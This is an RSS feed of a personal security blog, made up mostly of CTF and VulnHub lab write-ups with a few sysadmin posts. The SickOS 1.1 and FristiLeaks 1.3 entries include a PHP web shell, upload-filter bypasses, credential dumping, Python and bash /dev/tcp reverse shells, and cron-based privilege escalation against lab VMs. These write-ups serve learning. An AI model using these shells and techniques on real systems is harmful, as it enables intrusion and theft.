<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Kush, Nishchal</title><link>http://kush.com.fj/</link><description>Recent content on Kush, Nishchal</description><generator>Hugo</generator><language>en-us</language><managingEditor>kush (at) kush.com.fj (Kush, Nishchal)</managingEditor><webMaster>kush (at) kush.com.fj (Kush, Nishchal)</webMaster><copyright>All rights reserved &amp;copy; 2026 - Nishchal Kush</copyright><atom:link href="http://kush.com.fj/index.xml" rel="self" type="application/rss+xml"/><item><title>New new blog</title><link>http://kush.com.fj/post/2025-01-03-version6/</link><pubDate>Fri, 03 Jan 2025 18:29:46 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2025-01-03-version6/</guid><description>&lt;p&gt;Launched an updated version of the website. The previous version was version 5 which used custom HTML along with Hugo Go generated HTML. The transition to Version 5 happened in 2018.&lt;/p&gt;
&lt;h2 id="version-6"&gt;Version 6&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve recently been encourgaed to go back to blogging and felt it was time to move to pure Hugo. Hence, the birth of version 6. Version 6 is purely Hugo Go generated and used the &lt;a href="https://themes.gohugo.io/themes/beautifulhugo/"&gt;BeautifulHugo&lt;/a&gt; theme.&lt;/p&gt;
&lt;p&gt;Previous posts were also migrated over from version 5 of the blogs section which were initially deployed using Google Blogger. Version 6 is a huge jump from the last post about 5-years ago.&lt;/p&gt;</description></item><item><title>CTFlearn Easy</title><link>http://kush.com.fj/post/2020-08-17-ctflearn-easy/</link><pubDate>Mon, 17 Aug 2020 21:15:16 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-08-17-ctflearn-easy/</guid><description>&lt;p&gt;Sorted all challenges by difficult so that I could attempt and learn from the easier ones.&lt;/p&gt;
&lt;h1 id="easy"&gt;Easy&lt;/h1&gt;
&lt;h2 id="misc"&gt;Misc&lt;/h2&gt;
&lt;h3 id="practice-flag---20pts"&gt;Practice Flag - 20pts&lt;/h3&gt;
&lt;p&gt;Try inputting the flag: flag{CTFLearn_is_awesome}&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Submitted: &lt;code&gt;CTFLearn{CTFLearn_is_awesome}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="wikipedia---30pts"&gt;Wikipedia - 30pts&lt;/h3&gt;
&lt;p&gt;Not much to go off here, but it�s all you need: Wikipedia and 128.125.52.138.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Navigated to wikipedia site &lt;code&gt;https://www.wikipedia.org/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Searched for &lt;code&gt;128.125.52.138&lt;/code&gt; and found page on Flag. Searched within page for CTF and found reference to CTF flgs&lt;/li&gt;
&lt;li&gt;Submitted: &lt;code&gt;CTFlearn{cNi76bV2IVERlh97hP}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="qr-code---30pts"&gt;QR Code - 30pts&lt;/h3&gt;
&lt;p&gt;Do you remember something known as QR Code? Simple. Here for you : &lt;!-- raw HTML omitted --&gt; &lt;a href="https://mega.nz/#!eGYlFa5Z!8mbiqg3kosk93qJCP-DBxIilHH2rf7iIVY-kpwyrx-0"&gt;https://mega.nz/#!eGYlFa5Z!8mbiqg3kosk93qJCP-DBxIilHH2rf7iIVY-kpwyrx-0&lt;/a&gt;&lt;/p&gt;</description></item><item><title>UQ Cyber Squad 0x03 Shells</title><link>http://kush.com.fj/post/2020-03-29_uq-ca-03/</link><pubDate>Sun, 29 Mar 2020 00:24:34 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-03-29_uq-ca-03/</guid><description>&lt;h1 id="introduction"&gt;Introduction&lt;/h1&gt;
&lt;p&gt;0x03 Shells session presented by the UQ Cyber Squad. Access via OpenVPN connection. OpenVPN configuration bundle provided during the workshop.&lt;/p&gt;
&lt;h1 id="challenge-1---family-binding-time---10pts"&gt;Challenge 1 - Family Binding Time - 10pts&lt;/h1&gt;
&lt;p&gt;Let&amp;rsquo;s bind together at 192.168.57.11:8297&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc 192.168.57.11 8297
id
uid=1002(user) gid=1002(user) groups=1002(user)
pwd
/home/user
ls -las
total 60
 4 drwxr-xr-x 3 user user 4096 Mar 27 06:02 .
 4 drwxr-xr-x 4 root root 4096 Mar 24 02:13 ..
 4 -rw------- 1 user user 1584 Mar 26 01:26 .bash_history
 4 -rw------- 1 user user 105 Mar 26 00:50 .lesshst
 4 -rw------- 1 user user 5 Mar 24 03:38 .python_history
 4 drwxr-xr-x 2 user user 4096 Mar 26 00:59 .ssh
 8 -rw------- 1 user user 5066 Mar 27 06:01 .viminfo
 4 -r-xr-xr-x 1 root user 892 Mar 27 06:02 init_shell.py
20 -rwsr-xr-x 1 richard root 16728 Mar 26 00:54 read_secret_message
 4 -rw-r--r-- 1 user user 24 Mar 24 02:14 user.txt
cat user.txt	
flag{n1c3_b0nd1ng_t1m3}
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="challenge-2---shhhhhhhh---20pts"&gt;Challenge 2 - shhhhhhhh - 20pts&lt;/h1&gt;
&lt;p&gt;How do I ssshhhhh? How do I know how to?&lt;/p&gt;</description></item><item><title>Over the Wire - Wargames - Bandit</title><link>http://kush.com.fj/post/2020-03-22_otw-bandit/</link><pubDate>Sun, 22 Mar 2020 11:35:20 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-03-22_otw-bandit/</guid><description>&lt;h1 id="introduction"&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Details about the challenges may be found at &lt;code&gt;https://overthewire.org/wargames/bandit/&lt;/code&gt;. The game is played over SSH over port 2220 so firewalls may need to be adjusted to allow outbound traffic to connect to the game. The game has 34 levels. The levels are chained, so that to get to the next level you need to complete/finish/beat the previous level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; These are my own notes and contain actual flags.&lt;/p&gt;
&lt;h1 id="bandit-level-0"&gt;Bandit Level 0&lt;/h1&gt;
&lt;h2 id="level-goal"&gt;Level Goal&lt;/h2&gt;
&lt;p&gt;The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.&lt;/p&gt;</description></item><item><title>UQ Cyber Squad 0x01 Intro to Linux, Machines, and Networking</title><link>http://kush.com.fj/post/2020-03-20_uq-cs-01/</link><pubDate>Fri, 20 Mar 2020 21:55:48 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-03-20_uq-cs-01/</guid><description>&lt;h1 id="introduction"&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Found the UQ Cyber Squad site at &lt;code&gt;https://cybersquad.uqcloud.net/index.html&lt;/code&gt;. Signed up for their CTF on &lt;code&gt;https://ctf.uqcloud.net/&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="0x01-introduction-to-linux"&gt;0x01 Introduction to Linux&lt;/h2&gt;
&lt;p&gt;This was identical to the QUT Whitehats Week 2 for challenges 1 through to 8. The writeup was already done at &lt;code&gt;https://kush.com.fj/blog/posts/2020-02-28_qut_wh_wk2/&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="no-place-like-indexhtml---10pts"&gt;No place like index.html - 10pts&lt;/h3&gt;
&lt;p&gt;There&amp;rsquo;s no clues or hints for this but it was pretty obvious.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Navigated to &lt;code&gt;https://cybersquad.uqcloud.net/index.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Manually reviewed the page source and searched for &lt;code&gt;flag&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Found flag on line #30 of the source&lt;/li&gt;
&lt;li&gt;Submitted: flag{w0ah_n1c3_f1nd}&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="machines"&gt;Machines&lt;/h2&gt;
&lt;p&gt;The machines challenges were named machines because they provided virtual machines for a traditional boot-to-root.&lt;/p&gt;</description></item><item><title>QUT Whitehats CTF Week_3</title><link>http://kush.com.fj/post/2020-03-13_qut_wh_wk3/</link><pubDate>Fri, 13 Mar 2020 22:55:59 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-03-13_qut_wh_wk3/</guid><description>&lt;h1 id="week_3"&gt;Week_3&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;: Like all my CTF notes, this contains spoilers.&lt;/p&gt;
&lt;h2 id="3x01---10pts"&gt;3x01 - 10pts&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://crypto.qutwhitehats.club/ch1"&gt;https://crypto.qutwhitehats.club/ch1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For simplicity sake, to be able to easily attempt this weeks challenges, please navigate to: &lt;a href="https://www.katacoda.com/0xollie/scenarios/0x01"&gt;https://www.katacoda.com/0xollie/scenarios/0x01&lt;/a&gt; sign up/sign in and click onto the terminal.&lt;/p&gt;
&lt;p&gt;INPUT: &lt;code&gt;apt install httpie -y&lt;/code&gt; wait approx 1 minute for it to install.&lt;/p&gt;
&lt;p&gt;obtain ciphertext by running the following command: http get &lt;a href="https://crypto.qutwhitehats.club/ch1"&gt;https://crypto.qutwhitehats.club/ch1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To input an answer run the following command: http post &lt;a href="https://crypto.qutwhitehats.club/ch1"&gt;https://crypto.qutwhitehats.club/ch1&lt;/a&gt; answer=&amp;ldquo;answerhere&amp;rdquo;&lt;/p&gt;</description></item><item><title>QUT Whitehats CTF Week_2</title><link>http://kush.com.fj/post/2020-02-28_qut_wh_wk2/</link><pubDate>Fri, 06 Mar 2020 18:25:36 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-02-28_qut_wh_wk2/</guid><description>&lt;h1 id="week_2"&gt;Week_2&lt;/h1&gt;
&lt;p&gt;I spent a good 10 minutes trying to figure out the challenges before reaching for help. Eventually was told that the challenge location was &amp;ldquo;on the end of our slide deck is a link to katacode, thats where Olliver is doing his Challenges &lt;a href="https://www.katacoda.com/0xollie/scenarios/0x01%22"&gt;https://www.katacoda.com/0xollie/scenarios/0x01&amp;quot;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Signed up for Katacoda and nativated to the URL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;: Like all my CTF notes, this contains spoilers.&lt;/p&gt;
&lt;h2 id="challenge-1---normal-files---10pts"&gt;Challenge 1 - Normal files - 10pts&lt;/h2&gt;
&lt;p&gt;These are just regular files
flag syntax: flag{insert_flag_here}&lt;/p&gt;</description></item><item><title>QUT Whitehats CTF Week_1</title><link>http://kush.com.fj/post/2020-02-28_qut_wh_wk1/</link><pubDate>Fri, 28 Feb 2020 18:49:36 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-02-28_qut_wh_wk1/</guid><description>&lt;h1 id="week_1"&gt;Week_1&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;: Like all my CTF notes, this contains spoilers.&lt;/p&gt;
&lt;h2 id="how_2_flag---0-pts"&gt;How_2_Flag - 0 pts&lt;/h2&gt;
&lt;p&gt;For our CTF challenges this year we will be using the format: flag-{example_flag} Please note that all flags are case-sensitive!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Submitted: &lt;code&gt;flag-{example_flag}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="community---5-pts"&gt;Community - 5 pts&lt;/h2&gt;
&lt;p&gt;Have you joined our discord server yet? &lt;a href="https://discord.gg/kRbcVnP"&gt;https://discord.gg/kRbcVnP&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joined discordapp&lt;/li&gt;
&lt;li&gt;Clicked on Add a server&lt;/li&gt;
&lt;li&gt;Used the URL in the challenge&lt;/li&gt;
&lt;li&gt;Checked #flag channel&lt;/li&gt;
&lt;li&gt;Submitted: &lt;code&gt;flag-{welcome_1337_haxor}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="stay_informed---10-pts"&gt;Stay_Informed - 10 pts&lt;/h2&gt;
&lt;p&gt;Our website - &lt;a href="https://qutwhitehats.club"&gt;https://qutwhitehats.club&lt;/a&gt; is a vast treasure trove of information. Have a look and see if you can find the hidden flag!&lt;/p&gt;</description></item><item><title>AWSN Cadet CTF</title><link>http://kush.com.fj/post/2020-02-20_awsn_cadets_ctf/</link><pubDate>Fri, 21 Feb 2020 20:48:33 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2020-02-20_awsn_cadets_ctf/</guid><description>&lt;h1 id="introduction"&gt;Introduction&lt;/h1&gt;
&lt;p&gt;I was fortunate enough at attend an Australian Women in Security Networ (AWSN) session. Following the session there was a beginner level capture the flag (CTF) hosted off &lt;code&gt;http://149.28.182.32:8000&lt;/code&gt;. These are my notes from the CTF. Additional things to note are, firstly, that for the Web challenges, challenge 4 is called flag5, and challenge 5 references flag4. Secondly, the submission for the Cryptography password challenge expects the flag in the format flag{flag_value}. Finally, the notes below &lt;strong&gt;contain spoilers, and actual flags submitted&lt;/strong&gt;.&lt;/p&gt;</description></item><item><title>GPG Better than Zip Encryption</title><link>http://kush.com.fj/post/2019-03-29-brissec19-zip-encryption/</link><pubDate>Sat, 30 Mar 2019 00:58:32 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2019-03-29-brissec19-zip-encryption/</guid><description>&lt;h1 id="is-gpgopenpgp-really-better-than-zip-"&gt;Is GPG/OpenPGP really Better than Zip ?&lt;/h1&gt;
&lt;p&gt;I attended a local conference yesterday (2019-03-29) and during one of the talks a senior analyst from one of the world&amp;rsquo;s first CERT said that the preference was to use GPG for symmetric key encryption of files to transfer confidential information to their clients over zip. The reason presented was that zip did not provide the desired level of confidentiality and integrity. This comment got me thinking as I had thought that zip used AES for encryption, so now I am awake at 0100hrs in the morning and curious to understand the encryption used in zip.&lt;/p&gt;</description></item><item><title>Pen Test Assessment</title><link>http://kush.com.fj/post/2019-03-19-pen-test-assessment/</link><pubDate>Wed, 20 Mar 2019 00:09:26 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2019-03-19-pen-test-assessment/</guid><description>&lt;h1 id="penetration-test-assessment"&gt;Penetration Test Assessment&lt;/h1&gt;
&lt;p&gt;A penetration test assessment was a requirement of a short cource on Penetration Testing from the Charles Sturt University. As part of the assessment, students were provided an ova image of a virtual machine. The virtual machine was to be the target of a penetration test, and students were expected to obtain flags for submission. A walkthrough of the assessment is presented here.&lt;/p&gt;
&lt;p&gt;For the benefit of other students, the names and values of the flags have been redacted, and replaced with the string &lt;code&gt;REDACTED&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Metasploitable2 Walkthrough</title><link>http://kush.com.fj/post/2018-07-27-metasploitable2-walkthrough/</link><pubDate>Fri, 27 Jul 2018 23:23:09 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2018-07-27-metasploitable2-walkthrough/</guid><description>&lt;p&gt;For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases.&lt;/p&gt;
&lt;h1 id="set-up"&gt;Set-up&lt;/h1&gt;
&lt;p&gt;This metasploitable walk-through is performed in a virtual lab environment. Two virtual machines (VMs) are used. The first is a Kali VM and the second is the Metasploitable2 VM. Both VMs have their network interfaces connected to an internal Virtualbox network called vlabnet. There is a DHCP server on the virtual lab network to dynamically allocate IP addresses to hosts.&lt;/p&gt;</description></item><item><title>Cross compile libpcap for Arm</title><link>http://kush.com.fj/post/2018-05-15-crosscompile-libpcap-for-arm/</link><pubDate>Mon, 14 May 2018 12:56:13 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2018-05-15-crosscompile-libpcap-for-arm/</guid><description>&lt;p&gt;This has been tested on Ubuntu 16.04.1 Desktop (64-bit), and assumes that arm-linux-gnuabi-gcc has already been installed, e.g. &lt;code&gt;sudo apt-get install -y gcc-arm-linux-gnueabi&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the latest libpcap source tar ball from [http://www.tcpdump.org/#latest-releases], e.g. libpcap-1.8.1.tar.gz&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;tar zxvf libpcap-1.8.1.tar.gz&lt;/li&gt;
&lt;li&gt;apt-get install flex bison byacc&lt;/li&gt;
&lt;li&gt;export CC = arm-linux-gnueabi-gcc&lt;/li&gt;
&lt;li&gt;./configure &amp;ndash;host=arm-linux &amp;ndash;with-pcap=linux&lt;/li&gt;
&lt;li&gt;make&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the library has been compiled, it may be linked to other code, using the -L gcc flag and the location of the library. e.g. &lt;code&gt;-lpcap -L/home/nkush/development/libpcap-1.8.1&lt;/code&gt;&lt;/p&gt;</description></item><item><title>New Blog</title><link>http://kush.com.fj/post/2018-04-25-new-blog/</link><pubDate>Wed, 25 Apr 2018 17:55:10 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2018-04-25-new-blog/</guid><description>&lt;p&gt;I&amp;rsquo;d been using blogger for a while now, but found that the last couple of years
had not bothered making and publishing notes to my blog as I normally did.
Blogger also has has some weird formatting issues (because I cannot HTML). So I
decided to migrate to a static blog. Before proceeding I decided to document a
number fo requirements I would like addressed.&lt;/p&gt;
&lt;p&gt;Requirements&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Migrate to static web pages instead of CMS&lt;/li&gt;
&lt;li&gt;Easily update blog with short posts (to force myself to post regularly).&lt;/li&gt;
&lt;li&gt;Easily migrate from blogger.&lt;/li&gt;
&lt;li&gt;No database back end&lt;/li&gt;
&lt;li&gt;Supports github or similar markdown&lt;/li&gt;
&lt;li&gt;Supports themes/templates/CSS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Security Requirements&lt;/p&gt;</description></item><item><title>PCAP or it didn't happen</title><link>http://kush.com.fj/post/2016-08-04-pcap-or-it-didnt-happen/</link><pubDate>Thu, 04 Aug 2016 23:15:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2016-08-04-pcap-or-it-didnt-happen/</guid><description>&lt;p&gt;&amp;ldquo;PCAP or it didn&amp;rsquo;t happen&amp;rdquo; is a good network security philosophy. The
primary idea being to capture network traffic for analysis. In a
non-corporate environment where a CentOS-based Linux host has been used
as a dual homed firewall (refer to the lame ASCII art network diagram
below), tcpdump was used for continuous traffic capture.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; _( )______ ________ +-----+ _( )__
 ( Internet )---/ Router \----| F/W |----( DMZ )
(____________) \________/ +-----+ (________)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Firstly, we create a location to save the pcap files. Next, since
contemporary version of tcpdump are baked with the -Z switch which
causes tcpdump to drop into a less privileges account (tcpdump in the
case of this particular version of CentOS) we change ownership and
permissions to the location, and change permissions to allow the tcpdump
user and group to have full read and write permission.&lt;/p&gt;</description></item><item><title>vulnhub.com sickos1.1</title><link>http://kush.com.fj/post/2016-01-19-vulnhub-com-sickos1-1/</link><pubDate>Tue, 19 Jan 2016 19:46:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2016-01-19-vulnhub-com-sickos1-1/</guid><description>&lt;p&gt;host: 192.168.56.1
dhcp-server: 192.168.56.100
kali: 192.168.56.101&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* log
 # 2015/12/26 19:00 -&amp;gt; 19:40 (40min)
 # 2015/12/26 22:10 -&amp;gt; 23:50 (1hr 40min)
 # 2015/12/27 18:20 -&amp;gt; 18:40 (20min)
 # total time = 2hr 40min)

* discovery - target
 * nmap --min-parallelism=100 -sP -T5 192.168.56.0/24
 * found: 192.168.56.102

* discovery - services
 * nmap --min-parallelism=100 -A -T5 -p1-65535 192.168.56.102
 * found: port 22/tcp ssh, 3128/tcp squid, 8080/tcp ??
 * !!exploit-db did not reveal much
 * tried: nc -n -v 192.168.56.102 3128
 * with GET /
 * found: invalid URL error
 * with GET http://127.0.0.1/
 * found: landing page with BLEHHH!!! and PHP/5.3.10-1ubuntu3.21
 * using proxy: export http_proxy=&amp;quot;http://192.168.56.102:3128&amp;quot;
 * wget http://192.168.56.102/robots.txt
 * found http://192.168.56.102/wolfcms
 * !!decided to use iceweasel with proxy instead of command line
 * did not find generator metatag
 * downloaded wolfcms
 * found: README.md, requested http://192.168.56.102/wolfcms/README.md
 * found: version = 0.8.2
 * found: , requested http://192.168.56.102/wolfcms/wolf/plugins/file_manager/file_manager.css
 * found: http://192.168.56.102/wolfcms/wolf/plugins/ is also browseable
 * found: that file_manager plugin is installed
 * read 
 - https://www.wolfcms.org/download/security-patches.html
 - http://www.securityfocus.com/archive/1/521797
 - https://www.exploit-db.com/exploits/36818/
 - https://packetstormsecurity.com/files/133011/Wolf-CMS-0.8.2-Open-Redirect.html 
 - https://github.com/wolfcms/wolfcms/issues/619
 * vulnerabilities
 * file upload
 * open redirect
 * stupidly tried admin/admin
 * uploaded shell.php using file uploaded
 * http://192.168.56.102/wolfcms/public/shell.php?cmd=id
 * used shell.php 
 * found: config.php using curl http://192.168.56.ll.php -d cmd=&amp;quot;cat ../config.php&amp;quot;
 * found: mysql db=wolf, username=root, password=john@123
 * used curl http://192.168.56.102/wolfcms/public/shell.php --data-urlencode &amp;quot;cmd=mysqldump -u root -pjohn@123 mysql&amp;quot;
 * found:
 * used shell.php to list directories
 * found: /var/www/connect.py
 * attempted python reverse shell
 * kali - nc -vvv -l -p 1234
 * sickos - curl http://192.168.56.102/wolfcms/public/shell.php --data-urlencode &amp;quot;cmd=/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;192.168.56.101\&amp;quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/bash\&amp;quot;,\&amp;quot;-i\&amp;quot;]);'&amp;quot;
 * attempted to get tty, inside reverse shell
 * /usr/bin/python -c 'import pty; pty.spawn(&amp;quot;/bin/sh&amp;quot;)'
 * tried to use su - sickos, using the mysql password john@123, worked!!
 * sudo bash
 * ls -l /root
 * cat a0216ea4d51874464078c618298b1367.txt
 


* appendix

// shell.php
-- start of shell.php --
&amp;lt;?php
if(isset($_REQUEST['cmd']))
{
 $cmd = $_REQUEST['cmd'];
 system($cmd);
 echo &amp;quot;&amp;lt;pre&amp;gt;$cmd&amp;lt;/pre&amp;gt;&amp;quot;;
}
else
{
 echo &amp;quot;&amp;lt;pre&amp;gt;usage: ?cmd=&amp;lt;/pre&amp;gt;&amp;quot;;
}
?&amp;gt;
-- end of shell.php --
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Error importing into Virtualbox</title><link>http://kush.com.fj/post/2016-01-19-error-importing-into-virtualbox/</link><pubDate>Tue, 19 Jan 2016 19:39:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2016-01-19-error-importing-into-virtualbox/</guid><description>&lt;p&gt;Open visualisation format (OVF) is an open standard for packaging and
distributing virtual appliances. Essentially this is meant to ensure
portability of software and virtual machines across different
hypervisors, such as vmware, virtualbox, etc. However, I got an error
when importing an OVF file into virtualbox Version 5.0.12 r104815&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Host resource of type &amp;ldquo;Other Storage Device (20)&amp;rdquo; is supported with
SATA AHCI controllers only, line 47.&amp;rdquo;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Error reading &amp;quot;XXXXXX.ovf&amp;quot;: Host resource of type &amp;quot;Other Storage Device (20)&amp;quot; is supported with SATA AHCI controllers only, line 47.


Result Code: 
VBOX_E_FILE_ERROR (0x80BB0004)
Component: 
ApplianceWrap
Interface: 
IAppliance {XXXXXX}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fixed it by following the instructions on the forum&lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>vulnhub.com fristileaks1.3</title><link>http://kush.com.fj/post/2016-01-19-vulnhub-com-fristileaks1-3/</link><pubDate>Tue, 19 Jan 2016 19:34:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2016-01-19-vulnhub-com-fristileaks1-3/</guid><description>&lt;p&gt;host: 192.168.56.1
dhcp-server: 192.168.56.100
kali: 192.168.56.101&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* log
 # 2015/12/24 14:45 -&amp;gt; 16:30 (1hr 45min)
 # 2015/12/25 15:00 -&amp;gt; 17:45 (2hr 45min)
 # total time = 4hrs 30min

* discovery - target
 * nmap --min-parallelism=100 -sP -T5 192.168.56.0/24
 * found target: 192.168.56.102
 
* discovery - services
 * nmap --min-parallelism=100 -A -T5 -p1-65535 192.168.56.102
 * found ports: 80

* enumerate port 80
 * wget http://192.168.56.102
 * cat index.html
 * wget http://192.168.56.102/images/keep-calm.png
 * wget http://192.168.56.102/robots.txt
 * robots.txt: disallow /cola /sisi /beer
 * wget http://192.168.56.102/cola/
 * since its not the URL, and we should drink fristi
 * wget http://192.168.56.102/fristi/
 * cat index.html
 * read description meta tag reg comment about base64
 * noticed second commented out base64
 * suspect username: eezeepz
 * extracted commented out line using vi
 * deleted other lines
 * joined all lines (:%j)
 * removed spaces (:%s/\ //g)
 * saved into fristi_img2.txt
 * base64 -d fristi_img2.txt &amp;gt; img2
 * file img2
 * mv img2 img2.png
 * suspect password: keKkeKKeKKeKkEkkEk

* access
 * http://192.168.56.102/fristi/
 * myusername: eezeepz, mypassword: keKkeKKeKKeKkEkkEk
 * logged into http://192.168.56.102/fristi/login_success.php
 * clicked upload file link to http://192.168.56.102/fristi/upload.php
 * uploaded img2.png and got message regarding /uploads
 * verified upload location http://192.168.56.102/fristi/uploads/img2.png

* attempted shell access using weevely (failed)
 * generated weevely shell: weevely generate password shell.php
 * cp /usr/share/weevely/shell.php .
 * attempted upload: only allowed png,jpg,gif
 * mv shell.php shell.gif
 * uploaded and connected
 * weevely http://192.168.56.102/fristi/uploads/shell.gif password
 * fixed pythong issues
 * tar zxvf PySocks-1.5.6.tar.gz
 * cd PySocks-1.5.6/
 * ./setup.py build
 * ./setup.py install
 * weevely http://192.168.56.102/fristi/uploads/shell.gif password
 * unable to connect

* used old script to execute commands
 * renamed to shell.php.jpg
 * uploaded file
 * curl http://192.168.56.102/fristi/uploads/shell.php.jpg?cmd=id
 * uid=48(apache) gid=48(apache) groups=48(apache)
 * curl http://192.168.56.102/fristi/uploads/shell.php.jpg -d cmd=&amp;quot;cat /etc/passwd&amp;quot;
 * found: eezeepz, admin, fristigod, fristi
 * ls -l /home/
 * found: drwx---r-x. on eezeepz
 * ls -l /home/eezeepz
 * found: 
 * notes.txt
 * commands (various)
 * cat /home/eezeepz/notes.txt
 * found: 
 * cron runs /tmp/runthis with admin privileges every minute
 * commands chmod, df, cat, echo, ps, grep, egrep in /home/admin
 * access to /usr/bin/*
 * changed access to /home/admin
 * curl http://192s/shell.php.jpg -d cmd=&amp;quot;echo '/home/admin/chmod 755 /home/admin/' &amp;gt; /tmp/runthis&amp;quot;
 * ls -las /home/admin/
 * found: cryptedpass.txt, cryptpass.py, and whoisyourgodnow.txt (owner by fristigod)
 * cat /home/admin/whoisyourgodnow.txt
 * found: =RFn0AKnlMHMPIzpyuTI0ITG
 * cat /home/admin/cryptedpass.txt
 * found: mVGZ3O3omkJLmy2pcuTq
 * cat /home/admin/cryptpass.py
 * found:
 * function does base64 then rot13
 * created own script to decrypt password
 * python ./decryptpass.py mVGZ3O3omkJLmy2pcuTq
 * found: thisisalsopw123
 * python ./decryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
 * found: LetThereBeFristi!
 
* interactive shell
 * got tired of using the php script and decided to get interactive shell
 * on kali: nc -n -vvv -l -p 80
 * ran via php: /bin/bash -i &amp;gt; /dev/tcp/192.168.56.101/80 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1, but encoded for url as %2Fbin%2Fbash%20-i%20%3E%20%2Fdev%2Ftcp%2F192.168.56.101%2F80%200%3C%261%202%3E%261
 * now have shell (without TTY, so cannot use su yet)
 * find files owned by users
 * find / -user eezeepz 2&amp;gt;&amp;amp;1 | grep -v &amp;quot;Permission denied&amp;quot;
 * find / -user admin 2&amp;gt;&amp;amp;1 | grep -v &amp;quot;Permission denied&amp;quot;
 * find / -user fristi 2&amp;gt;&amp;amp;1 | grep -v &amp;quot;Permission denied&amp;quot;
 * find / -user fristigod 2&amp;gt;&amp;amp;1 | grep -v &amp;quot;Permission denied&amp;quot;
 * found: /var/fristigod
